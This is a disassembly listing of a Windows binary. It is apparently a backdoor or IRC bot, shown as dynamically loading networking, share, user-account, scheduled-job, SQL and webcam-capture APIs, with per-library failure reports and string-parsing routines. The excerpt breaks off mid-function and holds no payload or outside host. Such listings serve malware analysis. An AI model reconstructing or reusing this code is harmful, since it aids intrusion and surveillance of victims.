		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43F694, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43F650, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43F690, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43F6FC, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43F648, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43F60C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43F67C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43F6EC, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43F620, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43F5C4, eax
		call	esi
		cmp	dword_43F5E0, ebx
		mov	dword_43F700, eax
		jz	loc_409FD6
		cmp	dword_43F70C, ebx
		jz	loc_409FD6
		cmp	dword_43F584, ebx
		jz	loc_409FD6
		cmp	dword_43F614, ebx
		jz	loc_409FD6
		cmp	dword_43F5FC, ebx
		jz	loc_409FD6
		cmp	dword_43F5C8, ebx
		jz	loc_409FD6
		cmp	dword_43F6E8, ebx
		jz	loc_409FD6
		cmp	dword_43F704, ebx
		jz	loc_409FD6
		cmp	dword_43F610, ebx
		jz	loc_409FD6
		cmp	dword_43F6F4, ebx
		jz	loc_409FD6
		cmp	dword_43F6A8, ebx
		jz	loc_409FD6
		cmp	dword_43F668, ebx
		jz	loc_409FD6
		cmp	dword_43F664, ebx
		jz	loc_409FD6
		cmp	dword_43F5A4, ebx
		jz	short loc_409FD6
		cmp	dword_43F6B8, ebx
		jz	short loc_409FD6
		cmp	dword_43F6CC, ebx
		jz	short loc_409FD6
		cmp	dword_43F680, ebx
		jz	short loc_409FD6
		cmp	dword_43F640, ebx
		jz	short loc_409FD6
		cmp	dword_43F694, ebx
		jz	short loc_409FD6
		cmp	dword_43F650, ebx
		jz	short loc_409FD6
		cmp	dword_43F690, ebx
		jz	short loc_409FD6
		cmp	dword_43F6FC, ebx
		jz	short loc_409FD6
		cmp	dword_43F648, ebx
		jz	short loc_409FD6
		cmp	dword_43F60C, ebx
		jz	short loc_409FD6
		cmp	dword_43F67C, ebx
		jz	short loc_409FD6
		cmp	dword_43F6EC, ebx
		jz	short loc_409FD6
		cmp	dword_43F620, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------

loc_409FCB:				; CODE XREF: sub_40981F+501j
		nop
		call	near ptr 2610941h
		mov	dword_43F74C, eax

loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	dword_43F748, 1

loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43F5AC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43F538, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43F630, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43F5E4, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43F63C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43F600, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43F578, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43F570, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43F580, eax
		call	esi
		cmp	dword_43F5AC, ebx
		mov	ecx, dword_43F600
		mov	dword_43F69C, eax
		jz	short loc_40A0C1
		cmp	dword_43F538, ebx
		jz	short loc_40A0C1
		cmp	dword_43F630, ebx
		jz	short loc_40A0C1
		cmp	dword_43F5E4, ebx
		jz	short loc_40A0C1
		cmp	dword_43F63C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	dword_43F578, ebx
		jz	short loc_40A0C1
		cmp	dword_43F570, ebx
		jz	short loc_40A0C1
		cmp	dword_43F580, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB

loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	dword_43F750, 1

loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43F618, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------

loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		call	near ptr 2610941h
		nop
		mov	dword_43F754, eax
		mov	dword_43F750, 1

loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	dword_43F618, ebx

loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43F5F4, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43F720, eax
		call	esi
		cmp	dword_43F5F4, ebx
		mov	dword_43F58C, eax
		jz	short loc_40A155
		cmp	dword_43F720, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------

loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		call	near ptr 2610941h
		nop
		mov	dword_43F75C, eax

loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	dword_43F758, 1

loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43F568, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43F540, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43F5B4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43F5E8, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43F6F8, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43F5A0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43F54C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43F53C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43F5D0, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43F6C0, eax
		call	esi
		cmp	dword_43F568, ebx
		mov	dword_43F678, eax
		jz	short loc_40A260
		cmp	dword_43F540, ebx
		jz	short loc_40A260
		cmp	dword_43F5B4, ebx
		jz	short loc_40A260
		cmp	dword_43F5E8, ebx
		jz	short loc_40A260
		cmp	dword_43F6F8, ebx
		jz	short loc_40A260
		cmp	dword_43F5A0, ebx
		jz	short loc_40A260
		cmp	dword_43F54C, ebx
		jz	short loc_40A260
		cmp	dword_43F53C, ebx
		jz	short loc_40A260
		cmp	dword_43F5D0, ebx
		jz	short loc_40A260
		cmp	dword_43F6C0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------

loc_40A255:				; CODE XREF: sub_40981F+94Bj
		nop
		call	near ptr 2610941h
		mov	dword_43F764, eax

loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	dword_43F760, 1

loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43F590, eax
		call	esi
		cmp	dword_43F590, ebx
		mov	dword_43F660, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------

loc_40A29F:				; CODE XREF: sub_40981F+A56j
		nop
		call	near ptr 2610941h
		mov	dword_43F76C, eax

loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	dword_43F768, 1

loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43F6E4, eax
		call	esi
		cmp	dword_43F6E4, ebx
		mov	dword_43F6E0, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------

loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		call	near ptr 2610941h
		nop
		mov	dword_43F774, eax

loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	dword_43F770, 1

loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43F710, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43F708, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43F6D0, eax
		call	esi
		cmp	dword_43F710, ebx
		mov	dword_43F5A8, eax
		jz	short loc_40A368
		cmp	dword_43F708, ebx
		jz	short loc_40A368
		cmp	dword_43F6D0, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------

loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		nop
		call	near ptr 2610941h
		mov	dword_43F77C, eax

loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	dword_43F778, 1

loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43F5DC, eax
		call	esi
		cmp	dword_43F5DC, ebx
		mov	dword_43F6DC, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------

loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		nop
		call	near ptr 2610941h
		mov	dword_43F784, eax

loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	dword_43F780, 1

loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43F6A4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43F6F0, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43F62C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43F5EC, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43F684, eax
		call	esi
		cmp	dword_43F6A4, ebx
		mov	dword_43F5F8, eax
		jz	short loc_40A450
		cmp	dword_43F6F0, ebx
		jz	short loc_40A450
		cmp	dword_43F62C, ebx
		jz	short loc_40A450
		cmp	dword_43F5EC, ebx
		jz	short loc_40A450
		cmp	dword_43F684, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------

loc_40A445:				; CODE XREF: sub_40981F+BA8j
		nop
		call	near ptr 2610941h
		mov	dword_43F78C, eax

loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	dword_43F788, 1

loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43F5C0, eax
		call	esi
		cmp	dword_43F5C0, ebx
		mov	dword_43F698, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------

loc_40A48F:				; CODE XREF: sub_40981F+C46j
		nop
		call	near ptr 2610941h
		mov	dword_43F794, eax

loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	dword_43F790, 1

loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43F728, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	dword_43F72C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	dword_43F730, esi
		jz	short loc_40A528
		push	dword_43F734
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	dword_43F738, esi
		jz	short loc_40A55C
		push	dword_43F73C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	dword_43F740, esi
		jz	short loc_40A590
		push	dword_43F744
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	dword_43F748, esi
		jz	short loc_40A5C4
		push	dword_43F74C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	dword_43F750, esi
		jz	short loc_40A5F8
		push	dword_43F754
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	dword_43F758, esi
		jz	short loc_40A62C
		push	dword_43F75C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	dword_43F760, esi
		jz	short loc_40A660
		push	dword_43F764
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	dword_43F768, esi
		jz	short loc_40A694
		push	dword_43F76C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	dword_43F770, esi
		jz	short loc_40A6C8
		push	dword_43F774
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	dword_43F778, esi
		jz	short loc_40A6FC
		push	dword_43F77C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	dword_43F780, esi
		jz	short loc_40A730
		push	dword_43F784
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	dword_43F788, esi
		jz	short loc_40A764
		push	dword_43F78C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	dword_43F790, esi
		jz	short loc_40A798
		push	dword_43F794
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi

loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx

loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------

loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax

loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E

loc_40A899:				; DATA XREF: ___:00428424o
					; ___:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------

loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0

loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB

loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0

loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA

loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]

loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD

loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch

loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx

loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi

loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx

loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23

loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx

loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
